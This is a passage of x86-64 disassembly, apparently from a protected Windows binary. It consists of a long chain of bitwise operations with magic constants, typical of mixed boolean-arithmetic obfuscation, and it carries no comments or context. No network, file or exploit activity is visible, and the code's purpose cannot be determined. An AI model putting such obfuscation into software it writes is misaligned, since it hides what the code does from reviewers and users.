mov ecx, edx
xor ecx, 0x4481100
xor edx, 0xfbb7aeef
mov esi, r12d
xor esi, 0x1448d392
and esi, r12d
mov ebp, esi
not ebp
mov edi, edx
and edi, 0xd301c279
and ecx, 0x4481182
or ecx, edi
or edx, ebp
and ebp, 0xd301c279
and esi, 0x2cfe3d86
or esi, ebp
xor esi, ecx
not edx
or edx, esi
mov ecx, edx
not ecx
and ecx, 0xebb72c6d
and edx, 0x1448d392
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xf1dd3d22
and edx, 0xe22c2dd
or edx, ecx
mov ecx, edx
xor ecx, 0x22425d
and ecx, 0x113b5e5f
xor edx, 0x1f199c82
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xa837f821
and edx, 0x57c807de
or edx, ecx
mov ecx, edx
xor ecx, 0x57c807de
mov esi, r10d
not esi
mov edi, edx
mov eax, r10d
and eax, 0x5a69225d
and esi, 0xa596dda2
or esi, eax
mov eax, ecx
or eax, 0x53f6fba7
mov ebp, eax
not ebp
xor edx, 0xfbc10386
and edx, ecx
mov ebx, eax
and ebx, 0x9722e6bc
and ebp, 0x28090040
or ebp, ebx
mov ebx, edx
not ebx
or eax, ebx
and ebx, 0x9722e6bc
and edx, 0x68dd1943
or edx, ebx
mov ebx, esi
xor esi, 0x5a69225d
xor edx, ebp
mov ebp, esi
or ebp, 0x53f6fba7
not eax
or eax, edx
mov edx, ebp
not edx
or r10d, 0xac090458
and ebp, 0xd7cb76c2
and edx, 0x28000018
or edx, ebp
mov ebp, r10d
not ebp
and r10d, 0xd7cb76c2
and ebp, 0x348925
or ebp, r10d
mov r10d, dword [0x180087b90]
xor edi, 0x80020001
xor ebx, 0x81020580
xor ebp, edx
mov edx, eax
not edx
and edx, 0x1e4d2df0
and eax, 0xe1b2d20f
or eax, edx
mov edx, ebp
not edx
and edx, 0x1e4d2df0
and ebp, 0xe1b2d20f
or ebp, edx
xor ebp, eax
mov eax, ecx
and eax, 0x7cbdf87a
and edi, 0x83420785
or edi, eax
or ecx, esi
and esi, 0x7cbdf87a
and ebx, 0x83420785
or ebx, esi
xor ebx, edi
not ecx
or ecx, ebx
mov eax, ecx
not eax
and eax, 0x4c7368a0
and ecx, 0xb38c975f
or ecx, eax
mov eax, ecx
xor eax, 0xb20c810c
mov edx, ebp
not edx
xor ecx, 0x4c7368a0
mov esi, edx
and esi, 0x9e33e73
and ebp, 0xf61cc18c
or ebp, esi
or edx, ecx
and ecx, 0x9e33e73
and eax, 0xf61cc18c
or eax, ecx
xor eax, ebp
not edx
or edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x2a125a
and edx, 0x11114c05
or edx, ecx
mov ecx, edx
xor ecx, 0x100404
xor edx, 0x28a2034a
or eax, 0x113b5e5f
mov esi, eax
not esi
and edx, 0x39a34b4b
and ecx, 0x181414
or ecx, edx
and eax, 0x39a34b4b
and esi, 0xc644a0a0
or esi, eax
xor esi, ecx
mov edi, esi
not edi
and esi, 0x9f3610eb
and edi, 0x60c9ef14
or edi, esi
mov eax, edi
xor eax, 0x802610ca
xor edi, 0x60410404
and eax, 0x80aefbda
and edi, 0x7f510425
or edi, eax
mov eax, edi
xor eax, 0x8020c9da
xor edi, 0xc410020
and eax, 0xf330cddf
and edi, 0xccf3220
or edi, eax
mov ecx, edi
xor ecx, 0xccf3220
mov ebp, edi
xor ebp, 0xf330cddf
not r15d
mov eax, r12d
and eax, 0xe722603d
and r9d, 0x18dd9fc2
or r9d, eax
mov eax, r12d
or eax, r15d
and r15d, 0xe722603d
and r13d, 0x18dd9fc2
or r13d, r15d
xor r13d, r9d
not eax
or eax, r13d
and r8d, 0xd1dde1
and r12d, 0xff2e221e
or r12d, r8d
mov edx, r12d
xor edx, 0xff2e221e
xor r12d, 0xd1dde1
and r12d, eax
not eax
and edx, eax
or r12d, edx
xor eax, r12d
and eax, r12d
mov edx, ebp
and edx, 0x5bcdd7b3
xor edi, 0x5702e593
and edi, ecx
mov ebx, edx
and ebx, edi
xor edi, edx
or edi, ebx
mov edx, edi
not edx
and edx, 0xa432284c
and edi, 0x5bcdd7b3
or edi, edx
mov esi, eax
not esi
mov edx, esi
and edx, 0xdaa53199
mov r15d, eax
and r15d, 0x255ace66
or r15d, edx
mov edx, r15d
xor edx, 0x21000000
xor r15d, 0x40a50018
mov ebx, eax
xor ebx, 0x61b7801a
and ebx, eax
or r15d, 0x9e487fe5
mov r8d, ebx
not r8d
mov r9d, r15d
and r9d, 0x88bfbffb
and edx, 0x61000000
or edx, r9d
or r15d, r8d
and r8d, 0x88bfbffb
and ebx, 0x77404004
or ebx, r8d
xor ebx, edx
not r15d
or r15d, ebx
mov edx, r15d
not edx
and edx, 0x9e487fe5
and r15d, 0x61b7801a
or r15d, edx
mov r13d, edi
mov r9d, r15d
not r9d
mov r8d, r9d
and r8d, 0xf6a310e8
mov edx, r15d
and edx, 0x95cef17
or edx, r8d
xor edx, 0x6121f540
or edx, r9d
mov r8d, edi
xor r8d, r9d
and r8d, edi
and r9d, edi
not edi
mov r12d, edi
and r12d, 0x687d1a57
and r13d, 0x9782e5a8
or r13d, r12d
mov ebx, r13d
xor ebx, edi
and ebx, r13d
mov r12d, ebp
and r12d, 0xe3df31c2
and ecx, 0x1c20ce3d
or ecx, r12d
xor ecx, 0x745dd46a
xor ebp, ecx
and ebp, ecx
mov r12d, edx
not r12d
mov ecx, esi
and ecx, 0x11d84ea9
and eax, 0xee27b156
or eax, ecx
xor eax, 0x865aab01
xor esi, eax
and esi, eax
mov ecx, ebx
not ecx
mov r13d, ebp
not r13d
mov eax, ecx
or eax, r13d
and ecx, 0x7da2db9e
and ebx, 0x825d2461
or ebx, ecx
mov ecx, eax
not ecx
and r13d, 0x7da2db9e
and ebp, 0x825d2461
or ebp, r13d
xor ebp, ebx
mov ebx, ebp
not ebx
mov r13d, eax
and r13d, 0x41434a1e
and ecx, 0xbebcb5e1
or ecx, r13d
or eax, ebx
and ebx, 0x41434a1e
and ebp, 0xbebcb5e1
or ebp, ebx
xor ebp, ecx
not eax
or eax, ebp
mov ebx, esi
not ebx
mov ecx, edx
or ecx, ebx
mov ebp, ecx
not ebp
and edx, 0x341f36c8
and r12d, 0xcbe0c937
or r12d, edx
and ebx, 0x341f36c8
and esi, 0xcbe0c937
or esi, ebx
xor esi, r12d
mov edx, esi
not edx
mov ebx, ecx
and ebx, 0xb0cecf9
and ebp, 0xf4f31306
or ebp, ebx
or ecx, edx
and edx, 0xb0cecf9
and esi, 0xf4f31306
or esi, edx
xor esi, ebp
not ecx
or ecx, esi
mov edx, eax
mov esi, eax
xor esi, 0xbf2d8e8
and esi, eax
not eax
and eax, 0x9425088
and edx, 0x2b08860
or edx, eax
mov eax, edx
xor eax, 0x2a00860
xor edx, 0xfd4f779f
mov ebx, ecx
not ebx
and ebx, 0xf0c868
mov ebp, ecx
and ebp, 0xb021080
or ebp, ebx
xor ebp, 0xb021080
and ecx, 0xf40d2717
or ecx, ebp
mov ebx, esi
not ebx
mov ebp, edx
and ebp, 0xbc16e384
and eax, 0x3e01868
or eax, ebp
or edx, ebx
and ebx, 0xbc16e384
and esi, 0x43e91c7b
or esi, ebx
xor esi, eax
not edx
or edx, esi
mov eax, edx
not eax
and eax, ecx
not ecx
and ecx, edx
or ecx, eax
and edi, r15d
or r9d, edi
mov eax, r8d
and eax, r9d
xor r9d, r8d
or r9d, eax
mov eax, r9d
not eax
and r9d, 0x5a4874b7
and eax, 0xa5b78b48
or eax, r9d
mov edx, eax
xor edx, 0x124864b6
xor eax, 0x1240b00
and edx, 0xb6dbe4fe
and eax, 0x49241b01
or eax, edx
mov edx, eax
xor edx, 0x258c08e
xor eax, 0x201301
and eax, 0xb4a33771
and edx, 0x4b5cc88e
or edx, eax
mov eax, edx
xor eax, 0x4b5cc88e
xor edx, 0xb4a33771
mov ebx, ecx
xor ebx, edx
and ebx, ecx
and edx, ecx
not ecx
and ecx, eax
or edx, ecx
mov ebp, ebx
not ebp
mov eax, edx
not eax
mov ecx, ebp
and ecx, 0x709e041a
and ebx, 0x8f61fbe5
or ebx, ecx
or ebp, eax
and eax, 0x709e041a
and edx, 0x8f61fbe5
or edx, eax
xor edx, ebx
not ebp
or ebp, edx
mov ebx, ebp
not ebx
mov eax, ebx
and eax, 0x970d2c57
mov edx, ebp
and edx, 0x68f2d3a8
or edx, eax
mov eax, edx
xor eax, 0x3040440
and eax, 0x3c61448
xor edx, 0x94cb381f
or edx, eax
mov eax, edx
not eax
mov ecx, ebx
and ecx, 0x81898829
and ebp, 0x7e7677d6
or ebp, ecx
xor ebp, 0x7db0639e
xor ebx, ebp
and ebx, ebp
mov r8d, ebx
not r8d
mov r9d, eax
or r9d, 0xd36e7e09
mov ebp, r9d
not ebp
mov r15d, edx
or r15d, 0x2c9181f6
mov esi, r15d
not esi
mov ecx, ebx
xor ecx, 0x2c9181f6
mov edi, ecx
and edi, r8d
and ecx, ebx
and r9d, 0xbd973f8a
and ebp, 0x8074
or ebp, r9d
and r15d, 0xbd973f8a
and esi, 0x42684001
or esi, r15d
xor esi, ebp
mov ebp, edi
not ebp
mov r9d, ecx
not r9d
mov r15d, ebp
and r15d, 0x84adc306
and edi, 0x7b523cf9
or edi, r15d
or ebp, r9d
and r9d, 0x84adc306
and ecx, 0x7b523cf9
or ecx, r9d
xor ecx, edi
not ebp
or ebp, ecx
mov ecx, esi
not ecx
and ecx, ebp
not ebp
and ebp, esi
or ebp, ecx
mov ecx, eax
and ecx, 0xbffcd3e6
and edx, 0x40032c19
or edx, ecx
or eax, ebx
and ebx, 0xbffcd3e6
and r8d, 0x40032c19
or r8d, ebx
xor r8d, edx
not eax
or eax, r8d
mov ecx, eax
not ecx
and ecx, 0x7a3c3173
and eax, 0x85c3ce8c
or eax, ecx
mov edx, eax
xor edx, 0x81014688
mov ecx, ebp
not ecx
xor eax, 0x7a3c3173
mov ebx, ecx
and ebx, 0x76c28967
and ebp, 0x893d7698
or ebp, ebx
or ecx, eax
and eax, 0x76c28967
and edx, 0x893d7698
or edx, eax
xor edx, ebp
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x1418225e
and ecx, 0xebe7dda1
or ecx, eax
mov eax, ecx
not eax
and eax, 0x17de3616
and ecx, 0xe821c9e9
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x8b2bee8e
mov ebp, ecx
and ebp, 0x74d41171
or ebp, edx
xor ebp, 0x5dc63bdb
mov esi, ebp
xor esi, eax
and esi, ebp
mov ebp, eax
and ebp, 0x3ade3a3
and eax, ecx
and ecx, 0xfc521c5c
or ecx, ebp
mov ebp, ecx
xor ebp, 0x40001c14
xor ecx, 0x3ade3a3
mov ebx, eax
not ebx
mov edi, ecx
and edi, 0xbed3e049
and ebp, 0x412c1fb6
or ebp, edi
or ecx, ebx
and ebx, 0xbed3e049
and eax, 0x412c1fb6
or eax, ebx
xor eax, ebp
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x29122aaa
xor ecx, 0xd6edd555
or ecx, eax
mov eax, esi
mov edx, esi
xor edx, 0xfeff641a
and edx, esi
not esi
or eax, 0x1009be5
mov r9d, eax
not r9d
mov ebx, ecx
xor ebx, 0x1009be5
and ebx, ecx
mov r8d, esi
and r8d, ecx
xor esi, ecx
or ecx, 0xfeff641a
mov edi, ecx
not edi
mov ebp, edx
not ebp
mov r15d, eax
and r15d, 0x39a04570
and r9d, 0xc65f200a
or r9d, r15d
or eax, ebp
and ebp, 0x39a04570
and edx, 0xc65fba8f
or edx, ebp
xor edx, r9d
not eax
or eax, edx
mov edx, ebx
not edx
mov ebp, edx
and ebp, 0xc000285b
and ebx, 0x3fffd7a4
or ebx, ebp
or edx, ecx
and ecx, 0xc000285b
and edi, 0x10093a4
or edi, ecx
xor edi, ebx
not edx
or edx, edi
mov ecx, eax
not ecx
and ecx, edx
not edx
and edx, eax
or edx, ecx
or esi, r8d
mov eax, esi
not eax
and eax, 0x9c98d9a6
and esi, 0x63672659
or esi, eax
mov eax, esi
xor eax, 0x40250450
mov ecx, edx
not ecx
xor esi, 0x9c98d9a6
mov ebp, ecx
and ebp, 0x3fc2e38b
and edx, 0xc03d1c74
or edx, ebp
or ecx, esi
and esi, 0x3fc2e38b
and eax, 0xc03d1c74
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x7718b72c
and eax, ecx
and ecx, 0x88e748d3
or ecx, edx
xor ecx, 0x88e748d3
mov edx, ecx
and edx, eax
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
or edx, 0xd6edd555
mov ebp, edx
not ebp
and eax, 0xc365b55f
and ecx, 0x3c9a4aa0
or ecx, eax
mov eax, ecx
xor eax, 0xa24786a5
xor ecx, 0x1588600a
mov ebx, edx
and ebx, 0x4cb01950
and ebp, 0x210222aa
or ebp, ebx
or edx, ecx
and ecx, 0x4cb01950
and eax, 0xb34fe6af
or eax, ecx
xor eax, ebp
not edx
or edx, eax
mov eax, edx
xor eax, 0xf4680c17
and eax, edx
not edx
and edx, 0xf4680c17
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x58f1e8bd
and eax, 0xa70e1742
or eax, ecx
mov ecx, eax
xor ecx, 0x1060005
xor eax, 0xc11640a
and eax, 0x5e717f5a
and ecx, 0xa18e80a5
or ecx, eax
mov r8d, ecx
xor r8d, 0xc8024
xor ecx, 0x42615d0a
and ecx, 0xe3e35d8b
and r8d, 0x1c1ca274
or r8d, ecx
mov r13d, r8d
xor r13d, 0x1c1ca274
mov r12d, r8d
xor r12d, 0xe3e35d8b
or r14d, r11d
mov ecx, r14d
not ecx
and r14d, 0xfbd16f15
and ecx, 0x42e90ea
or ecx, r14d
mov ebp, ecx
xor ebp, 0xeac16605
xor ecx, 0x22004a
and ecx, 0x1132095a
and ebp, 0xeecdf6a5
or ebp, ecx
mov edx, ebp
xor edx, 0xc24400a4
xor ebp, 0x1132095a
mov ecx, ebp
and ecx, 0x2d89f75b
and edx, 0xd27608a4
or edx, ecx
mov ecx, edx
xor ecx, 0xd27608a4
mov eax, edx
xor eax, 0x4dffffdb
and eax, ecx
or ebp, 0x60760880
mov esi, ebp
not esi
mov edi, eax
not edi
mov ebx, edi
and ebx, 0xd0b47c94
and eax, 0x2f4b836b
or eax, ebx
or edi, ebp
and ebp, 0xd0b47c94
and esi, 0xf09836b
or esi, ebp
xor esi, eax
not edi
or edi, esi
mov eax, edi
not eax
and eax, 0x60760880
and edi, 0x9f89f77f
or edi, eax
xor edx, 0x2d89f75b
or edx, ecx
mov eax, edx
not eax
and eax, 0xd2ff0b69
and edx, 0x2d00f496
or edx, eax
mov ecx, edx
xor ecx, 0x1006482
mov eax, edi
not eax
xor edx, 0xd2ff0b69
mov ebp, eax
and ebp, 0xbc26913c
and edi, 0x43d96ec3
or edi, ebp
or eax, edx
and edx, 0xbc26913c
and ecx, 0x43d96ec3
or ecx, edx
xor ecx, edi
not eax
or eax, ecx
mov ebp, eax
not ebp
mov edx, eax
mov edi, ebp
mov ecx, ebp
and ecx, 0xece8c571
and eax, 0x13173a8e
or eax, ecx
xor eax, 0x5bf5a19a
or eax, ebp
and ebp, 0xa9211d91
and edx, 0x56dee26e
or edx, ebp
mov ecx, edx
xor ecx, 0x2002042
xor edx, 0x80
or edi, 0x1ed460ca
mov r14d, edi
not r14d
or edx, 0x20039501
and edx, 0x34d7d589
and ecx, 0xa002042
or ecx, edx
and edi, 0x34d7d589
and r14d, 0xc1280a34
or r14d, edi
xor r14d, ecx
mov ecx, r14d
not ecx
and ecx, 0xc7d8fce7
and r14d, 0x38270318
or r14d, ecx
mov edx, r14d
xor edx, 0x26f363d2
xor r14d, 0xd90c9c2d
mov ecx, edx
and ecx, 0xe606d74b
mov esi, r14d
and esi, 0x19f928b4
or esi, ecx
xor esi, 0x511bb3a0
mov edi, r14d
and edi, 0xb71d64eb
or edi, esi
mov ecx, edi
not ecx
and ecx, 0x3a229b60
and edi, 0xc5dd649f
or edi, ecx
mov r9d, edi
xor r9d, 0xc5dd649f
mov esi, eax
not esi
mov r11d, edi
xor r11d, 0x3a229b60
mov ecx, eax
and ecx, 0x929b0c78
xor eax, 0x49581088
and eax, esi
and esi, 0x6d64f387
or esi, ecx
mov ebp, esi
xor ebp, 0x6d64f387
xor edi, 0x737a8be8
mov ecx, edi
and ecx, r11d
and edi, r9d
xor esi, 0x243ce30f
and esi, ebp
mov r9d, ecx
and r9d, edi
xor edi, ecx
or edi, r9d
mov ecx, esi
and ecx, eax
xor eax, esi
or eax, ecx
mov ecx, edi
not ecx
and ecx, 0xfe0cdf4d
and edi, 0x1f320b2
or edi, ecx
mov ecx, eax
not ecx
and ecx, 0xfe0cdf4d
and eax, 0x1f320b2
or eax, ecx
xor eax, edi
mov ecx, r11d
and ecx, ebp
xor ebp, r11d
or ebp, ecx
mov ebx, ebp
not ebx
mov ecx, eax
not ecx
mov edi, ecx
and edi, 0x56b55afa
and eax, 0xa94aa505
or eax, edi
or ecx, ebp
and ebp, 0x56b55afa
and ebx, 0xa94aa505
or ebx, ebp
xor ebx, eax
not ecx
or ecx, ebx
mov ebp, ecx
mov eax, ecx
xor eax, 0x4d9ceafa
and eax, ecx
not ecx
and ecx, 0x459c22f0
and ebp, 0x800c80a
or ebp, ecx
xor ebp, 0x800c80a
mov ecx, ebp
and ecx, eax
xor eax, ebp
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x5116f71c
and eax, 0xaee908e3
or eax, ecx
mov ebp, eax
xor ebp, 0x828553a7
mov ecx, edx
and ecx, 0x29122aaa
and r14d, 0x10879b20
and edx, 0xef7864df
or edx, r14d
xor edx, 0x3995b18a
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x81dd6349
and edx, 0x7e229cb6
or edx, ecx
mov ecx, edx
xor ecx, 0x24229480
xor edx, 0x81044001
and edx, 0xdb044837
and ecx, 0x24fbb7c8
or ecx, edx
mov edi, ecx
xor edi, 0x4b040831
xor ecx, 0x24fbb7c8
mov edx, ecx
and edx, 0xb0d9d246
and edi, 0x4f262db9
or edi, edx
xor edi, 0x4f262db9
or edi, ecx
mov ecx, eax
xor ecx, 0x59302c48
and ecx, 0xdb316de9
xor eax, 0xbeb2b7dd
and eax, ebp
mov edx, ebp
and edx, 0x24ce9216
or edx, ecx
mov ecx, edx
xor ecx, 0x24ce9216
xor edx, 0xe7068993
and edx, ecx
mov ebx, edi
mov ebp, edi
mov esi, ecx
and esi, edi
xor ecx, edi
not edi
and ebx, 0x3c37e47a
xor ebp, 0xc3c81b85
and ebp, edi
mov edi, edx
and edi, eax
xor eax, edx
or eax, edi
mov edx, ebx
and edx, ebp
xor ebp, ebx
or ebp, edx
mov edx, eax
not edx
and edx, 0xa81b55aa
and eax, 0x57e4aa55
or eax, edx
mov edx, ebp
not edx
and edx, 0xa81b55aa
and ebp, 0x57e4aa55
or ebp, edx
xor ebp, eax
or ecx, esi
mov eax, ecx
not eax
mov edx, ebp
not edx
mov ebx, edx
and ebx, 0x4f0f61ef
and ebp, 0xb0f09e10
or ebp, ebx
or edx, ecx
and ecx, 0x4f0f61ef
and eax, 0xb0f09e10
or eax, ecx
xor eax, ebp
not edx
or edx, eax
mov ebp, edx
not ebp
or edx, 0x662fb6b6
mov ecx, edx
not ecx
or ebp, 0x99d04949
mov eax, ebp
not eax
and edx, 0x87167b6b
and ecx, 0x18c00000
or ecx, edx
and ebp, 0x87167b6b
and eax, 0x60298494
or eax, ebp
xor eax, ecx
mov ecx, eax
not ecx
and ecx, 0x662fb6b6
and eax, 0x99d04949
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x1090ed5d
and ecx, 0xef6f12a2
or ecx, eax
mov eax, ecx
xor eax, 0x1090ed5d
xor ecx, 0xef6f12a2
mov edx, eax
and edx, ecx
and eax, 0x63b0209b
and ecx, 0x9c4fdf64
or ecx, eax
xor ecx, 0x63b0209b
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
mov ebp, eax
or ebp, 0x5a388aab
mov edx, ebp
not edx
or ecx, 0x21c41044
and ecx, 0x73d492e7
and eax, 0x8280808
or eax, ecx
and ebp, 0x73d492e7
and edx, 0x84036510
or edx, ebp
xor edx, eax
mov eax, edx
not eax
and eax, 0xa49ab8be
and edx, 0x5b654741
or edx, eax
mov eax, edx
xor eax, 0x15dcdea
mov ecx, edx
xor ecx, 0xfea23215
xor edx, 0x77ed2966
mov ebp, edx
and ebp, ecx
and edx, eax
mov ebx, ebp
and ebx, edx
xor edx, ebp
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0xfff6729a
and edx, 0x98d65
or edx, ebp
xor edx, 0x89469616
or ecx, eax
not ecx
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0x80001012
and ecx, 0x51c0c089
or ecx, eax
mov ebp, ecx
xor ebp, 0x11804008
xor ecx, 0xa0e3620
or edx, 0xd1c0d09b
mov eax, edx
not eax
and ecx, 0x4a4eb6a1
and ebp, 0x9180401a
or ebp, ecx
and edx, 0x4a4eb6a1
and eax, 0x24310944
or eax, edx
xor eax, ebp
mov ecx, eax
not ecx
and ecx, 0x2e3f2f64
and eax, 0xd1c0d09b
or eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x8f6264cb
and eax, 0x709d9b34
or eax, ecx
xor eax, 0x8f6264cb
xor edx, eax
and edx, eax
mov eax, r12d
and eax, r13d
mov ecx, r12d
and ecx, eax
xor eax, r12d
or eax, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x780248d4
mov ebx, edx
and ebx, 0x80801100
or ebx, ecx
xor ebx, 0x80801100
mov ecx, edx
xor ecx, 0xf88259d4
and ecx, edx
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0xc3927694
and ecx, 0x3c6d896b
or ecx, ebx
mov ebx, ecx
xor ebx, 0xc420003b
xor ecx, 0x3b102f40
mov edi, eax
xor edi, ecx
and edi, eax
mov esi, eax
not esi
and esi, 0x32cff7c4
and eax, 0xcd30083b
or eax, esi
and ecx, 0x32cff7c4
and ebx, 0xcd30083b
or ebx, ecx
xor ebx, eax
mov eax, edi
and eax, ebx
xor ebx, edi
or ebx, eax
mov r15d, ebx
xor r15d, 0x4800568
and r15d, ebx
not ebx
and ebx, 0x4800568
mov eax, ebx
and eax, r15d
xor r15d, ebx
or r15d, eax
mov eax, r15d
not eax
and eax, 0x385ee269
and r15d, 0xc7a11d96
or r15d, eax
mov r9d, r15d
xor r9d, 0xc32118fe
mov eax, r12d
and eax, 0xebaffb3d
and r13d, 0x145004c2
or r13d, eax
mov eax, r13d
xor eax, 0xaa253021
and eax, 0xba653023
xor r13d, 0x51cacb1e
or r13d, eax
and r12d, 0x459acfdc
xor r8d, 0xa6799257
or r8d, r12d
mov eax, r8d
not eax
mov ecx, r8d
and ecx, 0x7146ffeb
and eax, 0x8eb90014
or eax, ecx
mov r12d, eax
xor r12d, 0x8eb90014
mov r11d, r13d
xor eax, 0xbba3e906
and eax, r12d
mov r14d, r13d
and r14d, r12d
xor r12d, r13d
not r13d
mov esi, edx
or esi, 0x52dc54e
mov ecx, esi
not ecx
mov edi, ebp
or edi, 0xfad23ab1
mov ebx, edi
not ebx
and esi, 0x668d7a04
and ecx, 0x985200b1
or ecx, esi
and edi, 0x668d7a04
and ebx, 0x120854a
or ebx, edi
xor ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x52dc54e
and ebx, 0xfad23ab1
or ebx, ecx
mov ecx, ebx
not ecx
mov esi, ecx
and esi, 0xba653023
and ebx, 0x459acfdc
or ebx, esi
not ebx
or ebx, ecx
mov ecx, ebx
not ecx
and edx, 0x232150b
mov esi, ebp
and esi, 0xfdcdeaf4
or esi, edx
xor esi, 0x47a8dad7
and ebp, 0x459acfdc
or ebp, esi
mov edx, ebp
not edx
and r11d, 0xcae516ed
and r13d, 0x351ae912
or r13d, r11d
or r8d, 0xcae516ed
mov edi, r8d
not edi
mov esi, eax
not esi
mov r11d, esi
and r11d, 0x48e09e30
and eax, 0xb71f61cf
or eax, r11d
or esi, r8d
and r8d, 0x48e09e30
and edi, 0x351a6102
or edi, r8d
xor edi, eax
not esi
or esi, edi
mov eax, r13d
not eax
and eax, 0xb8fcb7c7
and r13d, 0x47034838
or r13d, eax
mov eax, esi
not eax
and eax, 0xb8fcb7c7
and esi, 0x47034838
or esi, eax
xor esi, r13d
or r12d, r14d
mov edi, r12d
not edi
mov r8d, esi
not r8d
mov eax, r8d
and eax, 0x8215eda6
and esi, 0x7dea1259
or esi, eax
or r8d, r12d
and r12d, 0x8215eda6
and edi, 0x7dea1259
or edi, r12d
xor edi, esi
not r8d
or r8d, edi
mov eax, ebp
and eax, 0x373b8f5c
and edx, 0xc8c470a3
or edx, eax
mov r11d, edx
xor r11d, 0xc0807081
mov eax, ebx
and eax, 0x781021cb
mov r14d, ecx
and r14d, 0x87efde34
or r14d, eax
xor edx, 0x373b8f5c
mov esi, edx
or esi, 0x87efde34
mov eax, esi
not eax
or ebp, 0x781021cb
mov edi, ebp
not edi
and esi, 0x9efa2ae
and eax, 0x70100141
or eax, esi
and ebp, 0x9efa2ae
and edi, 0x86005c10
or edi, ebp
xor edi, eax
mov eax, r14d
not eax
and eax, 0xb88d9b78
and r14d, 0x47726487
or r14d, eax
mov eax, edi
not eax
and eax, 0xb88d9b78
and edi, 0x47726487
or edi, eax
xor edi, r14d
mov eax, ecx
and eax, 0x3d5c013a
and ebx, 0xc2a3fec5
or ebx, eax
or ecx, edx
and edx, 0x3d5c013a
and r11d, 0xc2a3fec5
or r11d, edx
xor r11d, ebx
not ecx
or ecx, r11d
mov eax, ecx
not eax
and eax, 0xce29bcd
and ecx, 0xf31d6432
or ecx, eax
mov eax, ecx
xor eax, 0x10044420
xor ecx, 0xce29bcd
mov ebp, edi
not ebp
mov edx, ebp
and edx, 0xe799b893
and edi, 0x1866476c
or edi, edx
or ebp, ecx
and ecx, 0xe799b893
and eax, 0x1866476c
or eax, ecx
xor eax, edi
not ebp
or ebp, eax
mov ecx, r8d
xor ecx, 0x1efb6bb0
and ecx, r8d
not r8d
and r8d, 0x1efb6bb0
mov edi, ebp
mov edx, ebp
xor edx, 0x1efb6bb0
and edx, ebp
not ebp
and ebp, 0x18324910
and edi, 0x6c922a0
or edi, ebp
mov eax, edi
xor eax, 0x2c82000
xor edi, 0xf936dd5f
mov ebp, r8d
and ebp, ecx
xor ecx, r8d
or ecx, ebp
mov ebp, edx
not ebp
mov esi, edi
and esi, 0xcc3797ba
and eax, 0x12c86800
or eax, esi
or edi, ebp
and ebp, 0xcc3797ba
and edx, 0x33c86845
or edx, ebp
xor edx, eax
not edi
or edi, edx
mov eax, ecx
not eax
and eax, 0x9572b76
and ecx, 0xf6a8d489
or ecx, eax
mov eax, edi
not eax
and eax, 0x9572b76
and edi, 0xf6a8d489
or edi, eax
xor edi, ecx
xor r15d, 0x3cdee701
mov eax, r15d
and eax, r9d
mov ecx, eax
not ecx
mov edx, r9d
and edx, 0x9267cf56
mov ebp, r15d
and ebp, 0x6d9830a9
or ebp, edx
mov edx, r9d
or edx, ecx
and ecx, 0x9267cf56
and eax, 0x6d9830a9
or eax, ecx
xor eax, ebp
not edx
or edx, eax
mov eax, edi
not eax
mov ecx, edi
and ecx, 0x48072e9
mov ebp, eax
and ebp, 0xfb7f8d16
or ebp, ecx
mov r8d, ebp
xor r8d, 0x48072e9
mov r14d, edx
not r14d
mov r11d, r14d
and r11d, 0xcc5628b4
xor ebp, 0xfb7f8d16
mov ecx, ebp
and ecx, 0xcdf7c1ed
mov r12d, r8d
and r12d, 0x32083e12
or r12d, ecx
xor r12d, 0x1a1e959
mov r13d, r12d
xor r13d, ebp
and r8d, r14d
or r14d, ebp
and ebp, edx
mov ebx, edx
xor ebx, 0x33a9d74b
or ebx, r11d
mov ecx, ebx
not ecx
and r15d, 0xffb03fea
and r9d, 0x4fc015
or r9d, r15d
mov edx, r9d
xor edx, 0x4fc015
xor r9d, 0x57001222
and r9d, 0x570d9227
mov esi, edx
and esi, 0xa8f26dd8
or esi, r9d
xor esi, 0x64a4456c
and edx, 0x33a9d74b
or edx, esi
mov esi, edx
not esi
and r13d, r12d
mov r9d, eax
and r9d, 0xe933be53
and edi, 0x16cc41ac
or edi, r9d
xor edi, 0xda9a6918
xor eax, edi
and eax, edi
mov edi, edx
and edi, 0x14ae58c1
xor edx, 0x7968f9ac
and edx, esi
and esi, 0xeb51a73e
or esi, edi
mov r9d, esi
xor r9d, 0xeb51a73e
mov edi, ebx
xor edi, 0x7968f9ac
mov r11d, edi
and r11d, ebx
and edi, ecx
mov r15d, r11d
not r15d
mov r12d, r15d
and r12d, 0xe0f58d87
and r11d, 0x1f0a7278
or r11d, r12d
mov r12d, edi
not r12d
or r15d, r12d
and r12d, 0xe0f58d87
and edi, 0x1f0a7278
or edi, r12d
mov r12d, esi
xor r12d, 0x92395e92
and r12d, r9d
xor edi, r11d
not r15d
or r15d, edi
mov edi, r12d
and edi, edx
xor edx, r12d
or edx, edi
mov edi, r15d
not edi
and edi, edx
not edx
and edx, r15d
or edx, edi
xor esi, 0x14ae58c1
mov edi, ecx
and edi, 0x1a1aa095
and ebx, 0xe5e55f6a
or ebx, edi
or ecx, esi
and esi, 0x1a1aa095
and r9d, 0xe5e55f6a
or r9d, esi
xor r9d, ebx
not ecx
or ecx, r9d
mov ebx, ecx
not ebx
and ebx, 0x39f83c2b
